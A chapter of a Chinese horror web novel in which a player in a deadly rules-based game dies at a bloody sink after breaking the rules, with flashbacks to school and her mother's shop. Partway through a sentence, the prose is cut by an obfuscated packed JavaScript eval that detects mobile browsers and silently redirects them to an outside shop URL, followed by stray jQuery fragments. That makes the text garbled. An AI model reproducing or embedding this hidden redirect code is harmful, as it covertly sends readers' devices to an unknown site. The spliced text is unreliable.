她面前的水槽不知道何时蓄满了水,排水孔处冒出几根青绿色的东西。
……是葱吗?
薛碧萱努力想让视线对焦,原本该进行下一步,此刻却只想认出眼前的物体。
还是看不清。
她伸出手,想要把堵住水槽的东西拽出来。
也就在这一秒,她看清了眼前的物体。
那是几根惨白的手指,边缘青绿。
薛碧萱混沌的大脑终于清醒了过来,她猛地松开握着断指的手,喉咙里挤出一丝气音。
刚被关上的水龙头突然自己打开了,里面流出一股淡红色的水流。
薛碧萱没有来得及收回手。
水流以肉眼可见的速度变得越来越浓,转瞬间就变得殷红。
四周的温度迅速下降,唯有水流的温度始终是温热的。
水流冲刷过的地方,开始泛起一种奇异的酥麻感,像皮肤底下有什么东西正在被唤醒。薛碧宣的呼吸急促起来,她试图收回手,发现自己无法动弹。
鼻腔中充斥着一股混着铁锈的腥味。
不……不!
她张开嘴,想要尖叫,却发现自己根本发不出声音。
耳边是越来越响的水流声,震得她头皮发麻。
鲜红的水流像是有了生命,顺着薛碧萱的手腕、小臂往下淌。
不像红墨水,更像血。
从血管中刚刚涌出来的血。
她想关闭水阀,手却抖得不听使唤。
被水沾上的手臂变得刺痛难忍,面前的镜子映照出她的身影,厚重的刘海下是一双阴冷的眼睛,正死死地盯着她。
薛碧萱瞳孔涣散,和镜中的身影对视的瞬间,清晰地看见那个东西的嘴唇缓缓咧开,露出雪白的牙齿。
她在笑!
薛碧萱想后退,双腿却像被钉死在地面上。镜子里的那张脸也一动不动,保持着那个让人毛骨悚然的笑容,死死地看着她。冷汗从后背爬上来,浸湿了她的衣服。
心底那个声音越来越清晰:跑。现在就跑。
可她的身体不听指挥,连抬起腿都做不到。
薛碧萱惊恐地睁大双眼,极度的恐惧让她浑身发抖,她从牙缝中挤出一句话,那声音比哭还难听。
“为……什么?”
为什么?
她明明如此小心谨慎,每一个步骤都再三确认。
为什么……凭什么?
薛碧宣慌乱地抽走手,拼命地用指甲刮着皮肤,想把那诡异的红色弄掉。可没用,水流从她的掌心、指缝、甚至指甲留下的划痕里不断地涌出来,像是有了生命。
镜子里的她还在笑,嘴角越来越夸张。
也许……根本就不是她不够谨慎。
而是因为她的死亡从踏进这扇门开始就早已注定!
薛碧萱用尽最后的力气伸出手,摸索着自己的上衣口袋,疼痛让她面色发白,眼前一阵阵发黑。她一点一点将那张纸抽了出来,努力举到自己的眼前。
眼眶周围涌出了血红色的液体,视线被染得一片猩红。她瞪大眼睛,在鲜红色的视野中努力辨认着。
那本薄薄的员工守则上的字体扭曲着,仿佛蝌蚪在她眼前游动,怎么也看不清。
她死死盯着守则的封面。终于,那些扭曲的笔画慢慢聚拢,拼成了三个字——杨子实。
这不是她的员工守则,这是杨子实的!
从她进入清洁区开始,结局就已经书写好了。
不,更早。
从苏雨琴咬着嘴唇,犹豫着说出那声“嗯”开始,她就已经走向万劫不复的深渊。
薛碧萱咳嗽起来,血迹顺着嘴角往下淌。
痛吗?
当然是痛的。
恍惚间,她听见下课铃打响,嘈杂的人声在她耳边响起。同学们嘻笑着站起身。
“然姐,待会体育课你帮我占个位置——我去隔壁班借羽毛球拍。”
“知道了。”扎着高马尾的女生应道。
同学们陆陆续续地涌出教室,只剩下一个戴着耳机的女生坐在原地,她抽出一张纸巾,泪如雨下。
书桌上支起的平板电脑的屏幕中正下着倾盆大雨,一个穿着黑色风衣的男子将手上的雨伞随手一丢,颓然地靠在人行道旁的路灯上。
画面中正是今年夏天爆火的韩剧《雨季》。
苏雨琴戴着最新款的蓝牙耳机,在这一刻仿佛和屏幕中的女主角融为一体,肩头微颤,哭得投入而忘我。她不曾将一丝注意力分给教室中的同学,只是沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696839|208003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
浸在那个虚幻的世界中。
就像无数个平常的课间,苏雨琴坐在噪杂的教室中,对班上发生的事情漠不关心。
薛碧萱望着她,愤恨、绝望、悔意和痛苦在她心中交织。
苏雨琴的粗心大意凭什么让她来承受?
哗啦啦的水声不曾停止,分不清是幻象中男女主角所处的雨季,还是不曾关上的水龙头。
耳边忽然传来一道模糊的声音。
“浪费水可不是正确的行为……”
是那个店长的声音。
薛碧萱握住自己的手臂,指甲深深嵌进皮肤里。眼框里蓄满泪水,顺着她的脸颊滑落。
视野逐渐被一片血红覆盖,耳朵里嗡嗡作响。
她感觉浑身的皮肤都开始发烫、发麻,接着失去知觉。最外面的皮肤已经开始溶解。
痛……痛不欲生。
疼痛击溃了她的理智,她痛苦地呻吟着,嘴里挤出破碎的句子,希望有人能救救她。
没有人能救她。
教室里,苏雨琴摘下耳机,没有往窗外看,也没有回头。
她什么都不知道。
薛碧萱的目光逐渐变得涣散,瞳孔失去了焦点,最后,她看见了自己。
她坐在柜台前,手边放着最老款的计算机,认认真真地算着账。店内的录音机放着英语磁带,是小学英语。
薛碧萱咬着铅笔头,在纸上歪歪斜斜地写着公式。
小卖部的灯泡发出昏黄的光,把母亲的脸照得半明半暗,那些皱纹在灯光下显得更深了。
妈妈不懂学习,只知道多听英语对她好。所以店内的收音机总是放着小学的英语阅读。
妈妈总说:“薛碧萱最聪明。”
她想反驳,薛碧萱一点也不聪明。
薛碧萱最细心。
水不知道什么时候被关上了。
薛碧萱轻飘飘地滑倒在地,眼睛睁得大大的。
【玩家薛碧萱违规进入清洁区。】
【玩家薛碧萱死亡。】
连着两条机械的广播音在众人面前响起。
血源源不断地从薛碧萱的伤口里涌出来,渗进身下那片渐渐扩大的暗红色水洼里。
滴答。
最后一声。